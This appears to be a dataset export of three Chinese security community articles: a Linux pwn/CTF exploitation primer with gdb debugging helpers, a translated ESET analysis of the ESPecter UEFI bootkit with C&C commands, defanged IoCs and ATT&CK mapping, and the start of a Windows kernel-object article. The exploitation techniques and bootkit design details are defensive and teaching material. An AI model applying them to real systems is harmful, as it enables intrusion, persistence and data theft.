text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
作者：niexinming@n0tr00t security team
#### 0x0 简介
pwn，在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。
虽然web系统在互联网中占有比较大的分量，但是随着移动端，ioT的逐渐流行，传统的缓冲区溢出又一次有了用武之处
#### 0x01 工欲善其事，必先利其器
Linux下的pwn常用到的工具有：
1. gdb：Linux调试中必要用到的
2. gdb-peda：gdb方便调试的工具，类似的工具有gef，gdbinit，这些工具的安装可以参考：<http://blog.csdn.net/gatieme/article/details/63254211>
3. pwntools:写exp和poc的利器
4. checksec：可以很方便的知道elf程序的安全性和程序的运行平台
5. objdump和readelf：可以很快的知道elf程序中的关键信息
6. ida pro ：强大的反编译工具
7. ROPgadget：强大的rop利用工具
8. one_gadget：可以快速的寻找libc中的调用exec('bin/sh')的位置
9. libc-database： 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本
#### 0x02 检测elf的安全性:
（1）拿到efl，首先要用checksec来检测elf运行于哪个平台，开启了什么安全措施，如果用gcc的编译后，默认会开启所有的安全措施。
【1】RELRO：RELRO会有Partial RELRO和FULL RELRO，如果开启FULL RELRO，意味着我们无法修改got表
【2】Stack：如果栈中开启Canary found，那么就不能用直接用溢出的方法覆盖栈中返回地址，而且要通过改写指针与局部变量、leak
canary、overwrite canary的方法来绕过
【3】NX：NX enabled如果这个保护开启就是意味着栈中数据没有执行权限，以前的经常用的call esp或者jmp
esp的方法就不能使用，但是可以利用rop这种方法绕过
【4】PIE：PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化，而如果没有开PIE的话那么No PIE
(0x400000)，括号内的数据就是程序的基地址
【5】FORTIFY：FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时，必须使用范围内的所有参数。所以如果要使用%7$x，你必须同时使用1,2,3,4,5和6。
#### 0x03 调试技巧
gdb常用的调试指令：
n： 执行一行源代码但不进入函数内部
ni: 执行一行汇编代码但不进入函数内部
s： 执行一行源代码而且进入函数内部
si: 执行一行汇编代码而且进入函数内部
c: 继续执行到下一个断点
b *地址: 下断点
directory+源码所在目录：加载程序源码
set follow-fork-mode parent ：只调试主进程
stack: 显示栈信息
x ： 按十六进制格式显示内存数据，其中x/{字节数}x 以16进制显示指定地址处的数据;{字节数}表示字节数制定（b 单字节；h 双字节；w 四字节；g
八字节；默认为四字节）
程序没有开启地址随机化：
def debug(addr):
raw_input('debug:')
gdb.attach(r, "b *" + addr)
在程序运行时调用这个函数就可以调试了
程序开启地址随机化：
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
with open('/proc/%s/mem' % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink('/proc/%s/exe' % pid)
with open('/proc/%s/maps' % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split('-')[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def debug(addr = 0):
global mypid
mypid = proc.pidof(r)[0]
raw_input('debug:')
with open('/proc/%s/mem' % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
由于开启地址随机化之后ida
pro打开程序后，显示的是程序的偏移地址，而不是实际的地址，当程序加载后程序的程序的实际地址是：基地址+偏移地址，调用debug函数的时候只要把偏移地址传递进去就好
#### 0x04 泄露libc地址和版本的方法
【1】利用格式化字符串漏洞泄露栈中的数据，从而找到libc的某个函数地址，再利用libc-database来判断远程libc的版本，之后再计算出libc的基址，一般做题我喜欢找`__libc_start_main`的地址
【2】利用write这个函数，pwntools有个很好用的函数DynELF去利用这个函数计算出程序的各种地址，包括函数的基地址，libc的基地址，libc中system的地址
【3】利用printf函数，printf函数输出的时候遇到0x00时候会停止输出，如果输入的时候没有在最后的字节处填充0x00，那么输出的时候就可能泄露栈中的重要数据，比如libc的某个函数地址
#### 0x05 简单的栈溢出
程序没有开启任何保护:
方法一：传统的教材思路是把shellcode写入栈中，然后查找程序中或者libc中有没有call esp或者jmp esp，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/76893510>
方法二：但是现代操作系统中libc中会开启地址随机化，所以先寻找程序中system的函数，再布局栈空间，调用gets(.bss)，最后调用system('/bin/sh')
比如这个题目：<http://blog.csdn.net/niexinming/article/details/78796408>
方法三：覆盖虚表方式利用栈溢出漏洞，这个方法是m4x师傅教我的方法，我觉得很巧妙，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78144301>
#### 0x06 开启nx的程序
开启nx之后栈和bss段就只有读写权限，没有执行权限了，所以就要用到rop这种方法拿到系统权限，如果程序很复杂，或者程序用的是静态编译的话，那么就可以使用ROPgadget这个工具很方便的直接生成rop利用链。有时候好多程序不能直接用ROPgadget这个工具直接找到利用链，所以就要手动分析程序来getshell了，比如这两个题目：
<http://blog.csdn.net/niexinming/article/details/78259866>
#### 0x07 开启canary的程序
开启canary后就不能直接使用普通的溢出方法来覆盖栈中的函数返回地址了，要用一些巧妙的方法来绕过或者利canary本身的弱点来攻击
【1】利用canary泄露flag，这个方法很巧妙的运用了canary本身的弱点，当`__stack_check_fail`时，会打印出正在运行中程序的名称，所以，我们只要将`__libc_argv[0]`覆盖为flag的地址就能将flag打印出来，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78522682>
【2】利用printf函数泄露一个子进程的Canary，再在另一个子进程栈中伪造Canary就可以绕过Canary的保护了，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78681846>
#### 0x08 开启PIE的程序
【1】利用printf函数尽量多打印一些栈中的数据，根据泄露的地址来计算程序基地址，libc基地址，system地址，比如这篇文章中echo2的wp：
<http://blog.csdn.net/niexinming/article/details/78512274>
【2】利用write泄露程序的关键信息，这样的话可以很方便的用DynELF这个函数了，比如这个文章中的rsbo2的题解：<http://blog.csdn.net/niexinming/article/details/78620566>
#### 0x09 全部保护开启
如果程序的栈可以被完全控制，那么程序的保护全打开也会被攻破，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78666941>
##### 0x0a 格式化字符串漏洞
格式化漏洞现在很难在成熟的软件中遇到，但是这个漏洞却很有趣
【1】pwntools有很不错的函数FmtStr和fmtstr_payload来自动计算格式化漏洞的利用点，并且自动生成payload，比如这个题目：<http://blog.csdn.net/niexinming/article/details/78699413>
和 <http://blog.csdn.net/niexinming/article/details/78512274> 中echo的题解
【2】格式化漏洞也是信息泄露的好伴侣，比如这个题目中制造格式化字符串漏洞泄露各种数据
<http://blog.csdn.net/niexinming/article/details/78768850>
##### 0x0b uaf漏洞
如果把堆释放之后，没有把指针指针清0，还让指针保存下来，那么就会引发很多问题，比如这个题目
<http://blog.csdn.net/niexinming/article/details/78598635>
##### 0x0c 任意位置写
如果程序可以在内存中的任意位置写的话，那么威力绝对很大
【1】虽然只能写一个字节，但是依然可以控制程序的并getshell，比如这个题目
<http://blog.csdn.net/niexinming/article/details/78542089>
【2】修改got表是个控制程序流程的好办法，很多ctf题目只要能通过各种方法控制got的写入，就可以最终得到胜利，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78542089>
【3】如果能计算出libc的基地址的话，控制top_chunk指针也是解题的好方法，比如这个题目：
<http://blog.csdn.net/niexinming/article/details/78759363>
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/>**
ESET公司研究发现了一个以前未记录的 UEFI bootkit，其根源可以追溯到至少2012年
## 前言
ESET 的研究人员发现了一个以前从未记录的真实存在的 UEFI bootkit，它现在仍然存在于 EFI系统分区上，我们称之为 ESPecter
。它可以绕过驱动程序强制签名限制来加载自己的未签名驱动程序，这为其间谍活动提供了便利。除了卡巴斯基最近发现的关联不大的 FinSpy
bootkit，现在可以肯定地说，现实世界中的 UEFI
威胁不再局限于[Lojax](http://https://hackernews.cc/archives/24185 "Lojax")使用的 SPI
闪存植入。 传统 BIOS 基础上的 UEFI
(可扩展固件接口)已经一去不复返了。作为嵌入到现代计算机和设备芯片中的一种先进技术，它在保证操作系统前期环境安全和加载操作系统方面起着至关重要的作用。如此广泛使用的技术成为威胁行为者寻求一劳永逸的诱人目标，这一点毫不奇怪。
## 概述
在过去几年中，我们已经看过 UEFI bootkits (DreamBoot、 EfiGuard)、泄露文档(DerStarke、
QuarkMatter)甚至泄露源代码(Hacking Team Vector EDK)的实例，这表明真正的 UEFI 恶意软件是存在的，不论是以SPI
闪存植入还是 ESP 植入的形式。尽管如此，到目前为止，只发现了三个 UEFI
恶意软件([LoJax](https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf)、[MosaicRegressor](https://securelist.com/mosaicregressor/98849/)、FinSpy）。虽然前两个属于
SPI 闪存植入类别，最后一个属于 ESP 植入类别，令人惊讶的是，它不是唯一的ESP 植入类别。 现在，我们描述的最近发现的
ESPecter，是第二个使用ESP形式的UEFI bootkit，它以修补的Windows引导管理器的形式存在，进行分析。ESPecter
是在一台遭到感染的机器上发现的，而且它配有一个具有键盘记录和文档窃取功能的用户模式客户端组件，因此我们认为 ESPecter
主要用于间谍活动。有趣的是，我们追溯这种威胁的根源至少可以追溯到2012年，之前它是作为一个引导工具包为传统BIOS系统提供服务的。尽管 ESPecter
存在了很长时间，但是它的操作和升级到 UEFI的行为却直到现在才被记录下来。请注意，ESPecter 和卡巴斯基 FinSpy
之间唯一的相似之处在于，它们共享 UEFI 启动管理器妥协方法。
图1. Windows系统上的传统引导流程(左)和 UEFI 引导流程(右)的比较 通过修补 Windows Boot
Manager，攻击者可以在操作系统完全加载之前执行系统引导过程的早期阶段(参见上图) 。因而ESPecter 可以绕过 Windows
驱动程序签名强制(DSE) ，以便在系统启动时执行自己的无签名驱动程序。然后，该驱动程序将其他用户模式组件注入到特定的系统进程中，以启动与 ESPecter
的 c & c 服务器的通信，并允许攻击者通过下载和运行其他恶意软件或执行 c & c 命令来控制受到攻击的机器。 尽管 Secure Boot
可以阻止执行ESP来源的不可信的 UEFI 二进制文件，但在过去几年中，我们已经见证了各种 UEFI 固件漏洞，成千上万个设备因为允许禁用或绕过
Secure Boot，而受到攻击(例如 VU # 758382，VU # 976132，VU # 631788，...)。这表明，确保 UEFI
固件安全这个工作颇具挑战性，而且各种供应商运用安全策略和使用 UEFI 服务的方式并不总是恰当的。 以前，我们报道过多个恶意 EFI
案例，它们是简单的、单用途的 UEFI 应用程序，没有广泛的功能。这些报道以及同时发现的 ESPecter 和 FinFisher bootkit
(两者都是全功能 UEFI bootkit)表明，威胁行为者在操作系统之前的持久性方面不仅仅依赖 UEFI 固件植入，而且还试图利用遭到禁用的 Secure
Boot 来执行他们自己的 ESP 植入。 我们尚未确定 ESPecter 背后的威胁行为者。
## ESPecter bootkit 的进化
当我们查看遥测数据时，我们可以将这个 bootkit 的起源追溯到至少2012年。一开始，它使用 MBR
(主引导记录)修改作为其长期使用方法，并且它的作者对新的 Windows OS
版本投入越来越多的关注。有趣的是，这些年来，这个恶意软件的组件几乎没有变化，2012年和2020年版本之间的差异并没那么明显。 多年之后，ESPecter
背后的人显然决定将他们的恶意软件从传统 BIOS 系统移植到现代的 UEFI 系统。为了实现这一点，他们修改了位于 ESP 上的合法的 Windows
Boot Manager 二进制文件(`bootmgfw.efi`)，同时覆盖从 Windows 7到 Windows 10的多个 Windows
版本。正如我们前面提到的，这个方法有一个缺点——它要求禁用Secure Boot，以便使用修改过的boot管理器。然而，值得一提的是，第一个支持安全启动的
Windows 版本是 Windows 8，这意味着所有以前的版本都容易受到这种方法的攻击。 对于支持安全启动的 Windows
操作系统版本，攻击者需要禁用它。现在，我们还不知道 ESPecter 运营者是如何做到这一点的，但有几种可能的情况: \-攻击者可以对设备进行物理访问(历史上称为“evil maid”攻击) ，并在 BIOS 设置菜单中手动禁用安全启动(固件配置菜单仍然被标记并称为“ BIOS
设置菜单”是很常见的，甚至在 UEFI 系统中也是如此) \-安全引导已经在被攻破的机器上禁用了(例如，用户可能会使用双引导窗口和其他不支持安全引导的操作系统) \- 利用允许禁用安全启动的未知 UEFI 固件漏洞
\- 在已过时的固件版本或不再支持的产品上利用已知的 UEFI 固件漏洞
## 技术分析
在我们的调查中，我们发现了一些与 ESPecter 相关的恶意组件: \- 安装程序，仅适用于bootkit的旧版 MBR 版本，其目的是通过重写引导设备的
MBR 在计算机上设置持久性 \-启动代码，以UEFI系统上修改的Windows引导管理器（`bootmgfw.efi`）形式，或以旧引导系统中恶意MBR形式 \-内核模式驱动程序，用于为用户模式有效负载准备环境，并在操作系统启动的早期阶段将它们注入特定的系统进程来加载 \- 用户模式有效负载，负责与 c & c
进行通信、更新 c & c 配置并执行 c & c 命令
有关 ESPecter bootkit 危害的完整方案，请参见下图。
## 实现持久性-UEFI 启动
在使用 UEFI 启动模式的系统上，ESPecter 持久性是通过修改 Windows启动管理器`bootmgfw.efi`和 回退引导装载程序二进制
`bootx64.efi` 建立的，这两个文件通常分别位于 ESP 目录 EFI\Microsoft\Boot\和 EFI\Boot\
中。引导加载程序的修改包括添加一个名为.efi 到 PE，并更改可执行文件的入口点地址，这样程序流就跳转到添加部分的开头，如下图所示。
原版(顶部)和修改版(底部) Windows 启动管理器(bootmgfw.efi)的比较
### 简化的启动链
如下图左侧的方案所示，UEFI 系统上的引导过程(忽略固件部分)是从执行位于 ESP 中的引导加载程序开始。对于 Windows 操作系统，这部分由
Windows Boot Manager 二进制文件(bootmgfw.efi) 完成，其用途是查找已安装的操作系统并将执行转移到其 OS 核心引导程序-winload.efi。与引导管理器类似，OS 内核加载程序负责加载和执行引导链中的下一个组件—— Windows 内核(ntoskrnl.exe)。
典型的 Windows UEFI 引导流程(左)与 ESPecter 修改的引导流程(右)相比较
### ESpecter 如何修改 UEFI 启动过程
为了成功地删除其恶意负载，ESPecter 需要在启动过程中绕过 Windows Boot Manager 和 Windows
内核执行的完整性检查。为了做到这一点，它寻找字节模式来识别内存中所需的函数，并相应地对它们进行补丁。 关于引导加载程序Windows Boot
Manager (bootmgfw.efi)，启动工具包从修补 BmFwVerifySelfIntegrity
函数开始。此函数负责验证引导管理器自己的数字签名，并用于防止执行修改后的引导管理器。在下图中，您可以看到 ESPecter
是如何使用各种字节模式搜索内存中的 BmFwVerifySelfIntegrity函数 (以支持众多 bootmgfw.efi 版本)
，并修改这个函数，使其始终返回零，暗示函数验证是成功的。
hex-ray 反编译代码——搜索和修补 BmFwVerifySelfIntegrity 函数
如前所述，这个引导装载程序的主要目标是找到一个已安装的操作系统并将执行转移到其 OS 内核装载程序。对于 Windows Boot Manager，这发生在
Archpx64TransferTo64BitApplicationAsm 函数中; 因此，ESPecter
查找这个函数是为了捕捉操作系统加载程序已加载到内存中但尚未执行的时刻。如果捕捉到这个时刻，ESPecter
补丁此函数插入自己的迂回函数，由此可以方便地在恰当时间修改内存中加载的 OS 加载程序。
操作系统加载程序的修改不包括任何完整性检查或其他功能的补丁。在这个阶段，bootkit需要重新分配它的代码，因为作为一个 UEFI
应用程序，它在从其入口点函数返回后可能会被从内存中卸载。为此，它会使用 BlImgAllocateImageBuffer 或
BlMmAllocateVirtualPages
函数(取决于找到的模式)。在这次重新分配之后，bootkit将在负责传输执行到操作系统内核的函数——OslArchTransferToKernel
中插入一个迂回函数(位于先前分配的缓冲区)，这样它就可以在内存中修补 Windows 内核，时间只要在被加载后，但是被执行之前即可。Bootkit
的引导代码的最后一个阶段负责通过修补 SepInitializeCodeIntegrity 内核函数来禁用 DSE。
hex 射线反编译 SepInitializeCodeIntegrity
函数在内存中修补前(左)和后(右)的比较
有趣的是，引导代码还对 MiComputeDriverProtection
内核函数进行了补丁。尽管这个功能不会直接影响恶意驱动程序的成功加载，但是如果没有在内核内存中找到并修补这个功能，bootkit
就不会继续放置驱动程序。我们无法确定第二个补丁的用途，但是我们假设这个修改后的函数可能被其他未知的ESPecter组件使用。 \-\SystemRoot\System32\null.sys(驱动器) \- \SystemRoot\Temp\syslog (加密配置)
该配置由内核驱动程序部署的 WinSys.dll 用户模式组件使用，由一个单字节的 XOR 密钥和加密的配置数据组成。为了解密配置，WinSys.dll:
\- Base64对配置数据进行解码 \- XORs 使用 XOR 键对数据进行处理 \- Base64对由“ |”分隔的每个值分别进行解码
下图展示了一个由于 EFI 版本的 ESPecter 放置的配置示例。IoCs 部分提供了一个完整的 IP 地址和域名列表，这些列表来自我们发现的
ESPecter bootkit 示例(包括 Legacy Boot 和 UEFI 版本)中嵌入的配置。
ESPecter bootkit EFI 版本提供的配置的解密
## 实现持久性-Legacy Boot
如前所述，我们现在知道的有支持 UEFI 的 ESPecter 版本，以及支持传统启动模式的其他版本。对于
传统启动模式，持久性是通过修改位于磁盘驱动器的第一个物理扇区中的 MBR
代码这一技术实现的，这个技术较为常见，因此，我们在这里不详细解释它，只是对它进行总结。
### ESPecter 如何修改遗留引导过程？
恶意 MBR 首先通过安装程序解密先前复制到磁盘扇区2、3和4的代码，钩住实模式 INT13h (BIOS 扇区读写服务)
中断处理器，然后将执行程序传递给原始的 MBR 代码，并由安装程序备份到第二扇区(扇区1)。与其他已知的 MBR 引导工具包类似，当调用
**INT13h** 中断处理器 时，钩子代码(位于扇区0)检查服务0x02(从驱动器读取扇区)和0x42(从驱动器读取扩展扇区)
，以拦截`bootmgr`（Windows 启动管理器的传统版本）的加载。注意，ESPecter 的遗留版本不需要在 `bootmgr` 中为
`BmFwVerifySelfIntegrity` 函数打补丁，因为 `bootmgr` 二进制文件没有以任何方式修改。 从这一点来看，引导代码的功能几乎与
UEFI 版本的引导代码相同，导致恶意驱动程序(位于第0轨道上，从第6扇区开始)被投放到下列位置之一，具体取决于架构: \-`\SystemRoot\System32\drivers\beep.sys (x86)` \-`\SystemRoot\System32\drivers\null.sys (x64)`
在这种情况下，加密的配置不会放入到`syslog`文件中，而是一直隐藏在损坏的磁盘的扇区5中。
传统版本 ESPecter 使用的修改过的磁盘方案
## 内核模式驱动程序
驱动程序的主要目的是加载用户模式的有效负载，设置键盘记录程序，并最终删除自身。设置键盘记录程序分为两个步骤: \-首先，它创建了一个名为`\device\WebBK`的设备，该设备公开了一个处理来自用户模式组件的`IRP_MJ_device_control`请求的函数。
这个函数支持一个 IOCTL (输入/输出控制)代码(`0x22C004`) ，可用于触发负责一个异步过程调用例程的注册，它用于处理截获的击键记录。 \-通过为键盘驱动程序`object\Device\KeyboardClass0`的`IRP_MJ_读取`请求设置`CompletionRoute`，可以拦截击键。
该过程完成后，任何进程都可以通过定义自己的例程并使用自定义 IOCTL `0x22C004`来记录截获的击键，并将其传递给创建的设备对象。
默认情况下，驱动程序会加载两个基本有效负载——`WinSys.dll`和 `Client.dll`——它们具有下载和执行其他有效负载的能力。第一个，
`WinSys.DLL`，它是以加密的形式嵌入到驱动程序的二进制文件中的。第二个，`Client.dll`，由
`WinSys.dll`下载到文件`\SystemRoot
\Temp\memlog`，也是以加密的形式，使用相同的加密方法——一个简单的带减法的单字节异或——但不是相同的密钥。这两个库都被解密并由驱动程序放到系统目录
`\SystemRoot\System32\`中。
通过将`WinSys.dll`和`Client.dll`库分别注入`svchost.exe`和`winlogon.exe`，可以实现它们的执行。为此，驱动程序使用
`PsSetLoadImageNotifyRoutine`注册图像加载回调例程 `NotifyRoutine`，用于执行: \-在winlogon.exe进程的上下文中，从Client.dll导出主线程 \- 在svchost.exe进程的上下文中，从WinSys.dll导出主线程
`NotifyRoutine`在执行之前在内存中挂钩`winlogon.exe`和`svchost.exe`进程映像的入口点;
然后这个挂钩负责加载和执行适当的有效负载 DLL。如下图所示，该例程只处理正在加载的第一个`svchost.exe`或 `winlogon.exe`映像。
## 用户模式组件–WinSys.dll
WinSys.dll充当基本更新代理，定期联系其C&C服务器以下载或执行其他有效负载或执行简单命令。C&C地址以及其他值（如活动ID、bootkit版本、C&C通信尝试之间的时间和活动小时数范围）位于配置中，可从以下位置加载：
\- `HKLM\SYSTEM\CurrentControlSet\Control`注册表中的`DefaultConfig`值 \-`\SystemRoot\Temp\syslog`文件 \- 或者直接从特定磁盘扇区（传统引导版本中）获取
如果同时存在注册表和磁盘存储配置，则使用注册表中的配置。
### C&C通信
`WinSys.dll`使用HTTPS与其C&C进行通信，通过使用以下URL格式发送HTTP GET请求来启动通信：
https:///Heart.aspx？ti=&tn=&tg=&tv=
其中，`drive_ID`是主系统卷序列号的MD5散列，其他参数是识别该恶意软件实例的具体信息。
因此，C&C可以使用显示为字符串的命令ID（随意后跟命令参数）进行响应。命令的完整列表见表1。
表1. WinSys 组件 c & c 命令
命令 ID | 描述 | 网址
---|---|---
1或4 | Exit. | -
2 | 使用 HTTP POST 将各种系统信息(CPU 名称、 OS 版本、内存大小、以太网 MAC 地址、已安装软件列表等)上传到预定义的 URL |
https:///GetSysteminfo.aspx
3 | 下载或下载并执行文件到预定义的位置从预定义的 URL 使用 HTTP GET | https:///UpLoad.aspx?ti=
5 | 重启电脑 (只适用于 windowsvista) | 不适用
6 | 使用HTTP GET从预定义的 URL 下载新配置，并将其保存到注册表中 | https:///ModifyIpaddr.aspx?ti=
## 用户模式组件-Client.dll
恶意驱动程序部署的第二个有效负载是 Client.dll。它是一个后门，支持众多的命令集(表2)
，并包含各种自动数据外泄功能，包括文档窃取、键盘记录和通过定期截屏来监视受害者的屏幕。所有收集到的数据都存储在一个隐藏的目录中，每个数据源都有单独的子目录（所用目录路径的完整列表可以从我们的
[GitHub](https://github.com/eset/malware-ioc/tree/master/especter)存储库中获得）。还要注意的是，击键的拦截是由驱动程序处理的，客户机只需要将 IOCTL
`0x22C004`发送到驱动程序的设备，以便将截获的击键保存到文件中，从而注册其日志功能。
客户端负载通过将 IOCTL 发送到 bootkit 的设备驱动程序来设置键盘记录器功能
客户端组件的配置应该以加密形式存在文件覆盖中。它包含诸多信息，如 c & c 地址和端口，表明应该收集哪些数据的标志(按键、屏幕截图、具有特定扩展名的文件)
，屏幕截图线程的时间段，外泄数据的最大文件大小，以及文件扩展名列表。
### C&C 通信
客户端设置了自身与 C&C 的通信通道。为了与 C&C 进行通信，它使用单字节 XOR 加密的 TCP
协议，与密钥不同，该协议应用于的非空消息字节，在这里分析的活动中，密钥是`0x66`。通信是通过向配置中指定的 IP: PORT
对发送信标消息来启动的。此消息包含`drive_ID`值(主系统卷的序列号 MD5散列)以及一个指定消息类型的值，即命令请求或上传收集的数据。
在执行 C&C 命令后，结果将报告给 C&C，并指定执行操作的结果代码、命令
ID，有趣的是，每个这样的结果报告消息都带有一个水印/标记，表示位于偏移量`0x04`的宽字符串`WBKP`，这使得在网络级别识别这种恶意通信更加容易。
表2. 客户端 C&C 命令列表
命令 ID | 描述
---|---
0x0000 | 停止后门
0x0064 | 执行从 C&C 接收的命令行并使用管道捕获输出
0x00C8 | 根据 C&C 命令参数的值，执行电源命令下线、断电、重新启动或关机
0x012C | 截取前景窗口的屏幕快照，完整的屏幕快照，或者根据参数值改变自动的屏幕快照参数
0x0190 | 执行各种文件系统操作
0x01F4 | 上传收集的数据和文件
0x0258 | 执行各种与服务相关的命令
0x02BC | 执行各种与进程相关的命令
0x0320 | 修改配置值
0x0384 | 停止/启动键盘记录器，具体取决于参数的值
## 总结
ESPecter可以说明，在前OS持久性方面，威胁行为者不仅依赖 UEFI 固件植入，他们还投入时间创建了恶意软件，但由于有 UEFI Secure
Boot 等现有安全机制的存在，如果启用和配置正确，这些恶意软件很容易被这些机制阻止。
## IoCs
一个完整的 IoCs 和示例列表可以在我们的 [GitHub](https://github.com/eset/malware-ioc/tree/master/especter) 存储库中找到。
### ESET 检测
EFI/Rootkit.ESPecter Win32/Rootkit.ESPecter Win64/Rootkit.ESPecter
### C&C IP 地址和域的配置
196.1.2[.]111
103.212.69[.]175
183.90.187[.]65
61.178.79[.]69
swj02.gicp[.]net
server.microsoftassistant[.]com
yspark.justdied[.]com
crystalnba[.]com
### Legacy版本安装程序
ABC03A234233C63330C744FDA784385273AF395B
DCD42B04705B784AD62BB36E17305B6E6414F033
656C263FA004BB3E6F3EE6EF6767D101869C7F7C
A8B4FE8A421C86EAE060BB8BF525EF1E1FC133B2
3AC6F9458A4A1A16390379621FDD230C656FC444
9F6DF0A011748160B0C18FB2B44EBE9FA9D517E9
2C22AE243FDC08B84B38D9580900A9A9E3823ACF
08077D940F2B385FBD287D84EDB58493136C8391
1D75BFB18FFC0B820CB36ACF8707343FA6679863
37E49DBCEB1354D508319548A7EFBD149BFA0E8D
7F501AEB51CE3232A979CCF0E11278346F746D1F
### 受损的windows启动管理器
27AD0A8A88EAB01E2B48BA19D2AAABF360ECE5B8
8AB33E432C8BEE54AE759DFB5346D21387F26902
## MITRE ATT&CK 技术
下表是使用 MITRE ATT&CK 框架的第9版构建的。
策略 | ID | 名称 | 技术
---|---|---|---
Execution | T1106 | ative API | ESPecter leverages several Windows APIs:
VirtualAlloc , WriteProcessMemory, and CreateRemoteThread for process
injection.
Persistence | T1542.003 | Pre-OS Boot: Bootkit | ESPecter achieves persistence
by compromising Windows Boot Manager (bootmgfw.efi) located on the ESP, or by
modifying the MBR on Legacy Boot systems.
| T1547 | Boot or Logon Autostart Execution | ESPecter replaces the legitimate
null.sys or beep.sys driver with its own malicious one in order to be executed
on system startup.
Defense Evasion | T1055.001 | Process Injection: Dynamic-link Library
Injection | ESPecter’s driver injects its main user-mode components into
svchost.exe and winlogon.exe processes.
| T1564.001 | Hide Artifacts: Hidden Files and Directories | ESPecter’s
Client.dll component creates hidden directories to store collected data.
| T1564.005 | Hide Artifacts: Hidden File System | ESPecter bootkit installers
for Legacy Boot versions use unallocated disk space located right after the
MBR to store its code, configuration and malicious driver.
| T1140 | Deobfuscate/Decode Files or Information | ESPecter uses single-byte
XOR with subtraction to decrypt user-mode payloads.
| T1562 | Impair Defenses | ESPecter patches Windows kernel function directly
in memory to disable Driver Signature Enforcement (DSE).
| T1036.003 | Masquerading: Rename System Utilities | ESPecter bootkit
installers for Legacy Boot versions copy cmd.exe to con1866.exe to evade
detection.
| T1112 | Modify Registry | ESPecter can use DefaultConfig value under
HKLM\SYSTEM\CurrentControlSet\Control to store configuration.
| T1601.001 | Modify System Image: Patch System Image | ESPecter patches
various functions in Windows Boot Manager, Windows OS loader and OS kernel
directly in memory during the boot process.
| T1027.002 | Obfuscated Files or Information: Software Packing | ESPecter’s
WinSys.dll component is packed using the MPRESS packer.
| T1542.003 | Pre-OS Boot: Bootkit | ESPecter achieves persistence by
modifying Windows Boot Manager (bootmgfw.efi) located on the ESP or by
modifying the MBR on Legacy Boot systems.
| T1553.006 | Subvert Trust Controls: Code Signing Policy Modification |
ESPecter patches Windows kernel function SepInitializeCodeIntegrity directly
in memory to disable Driver Signature Enforcement (DSE).
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | ESPecter’s
WinSys.dll component can be configured to postpone C&C communication after
execution or to communicate with the C&C only in a specified time range.
Credential Access | T1056.001 | Input Capture: Keylogging | ESPecter has a
keylogging capability.
Discovery | T1010 | Application Window Discovery | ESPecter’s Client.dll
component reports foreground window names along with keylogger information to
provide application context.
| T1083 | File and Directory Discovery | ESPecter’s Client.dll component can
list file information for specific directories.
| T1120 | Peripheral Device Discovery | ESPecter’s Client.dll component
detects the insertion of new devices by listening for the WM_DEVICECHANGE
window message.
| T1057 | Process Discovery | ESPecter’s Client.dll component can list running
processes and their loaded modules.
| T1012 | Query Registry | ESPecter’s WinSys.dll component can check for
installed software under the Registry key
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall.
| T1082 | System Information Discovery | ESPecter user-mode payloads can
collect system information from the victim’s machine.
| T1124 | System Time Discovery | ESPecter’s WinSys.dll component can use
GetLocalTime for time discovery.
Collection | T1119 | Automated Collection | ESPecter’s Client.dll component
can automatically collect screenshots, intercepted keystrokes and various
files.
| T1025 | Data from Removable Media | ESPecter’s Client.dll component can
collect files with specified extension from removable drives.
| T1074.001 | Data Staged: Local Data Staging | ESPecter’s Client.dll
component stores automatically collected data into a hidden local directory.
| T1056.001 | Input Capture: Keylogging | ESPecter has keylogging
functionality.
| T1113 | Screen Capture | ESPecter’s Client.dll component has screen capture
functionality.
Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
ESPecter’s WinSys.dll component communicates with its C&C server over HTTPS.
| T1573.001 | Encrypted Channel: Symmetric Cryptography | ESPecter’s
Client.dll component encrypts C&C traffic using single-byte XOR.
| T1105 | Ingress Tool Transfer | ESPecter’s user-mode components can download
additional payloads from C&C.
| T1104 | Multi-Stage Channels | ESPecter’s user-mode components use separate
C&C channels.
| T1095 | Non-Application Layer Protocol | ESPecter’s Client.dll component
uses TCP for C&C communication.
Exfiltration | T1020 | Automated Exfiltration | ESPecter’s Client.dll
component creates a thread to automatically upload collected data to the C&C.
| T1041 | Exfiltration Over C2 Channel | ESPecter exfiltrates data over the
same channel used for C&C.
| T1029 | Scheduled Transfer | ESPecter’s Client.dll component is set to
upload collected data to the C&C every five seconds.
* * * | 社区文章 |
# Windows内核对象管理全景解析完结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
在前一篇《
Windows内核对象管理全景解析前奏》中，详细讲解了Windows中内核对象管理的“基础”知识，但光有这些基础知识还很难形成知识网，对于内核对象管理的把握可能还不是很到位，这一篇文章就是承接前一篇，为读者构建出Windows内核中对象管理的“宏图伟业”，从一个比较高的层次来把握其本质。
涉及到的知识：
1、Windows内核对象；
2、Windows内核对象管理；
3、Windbg内核调试；
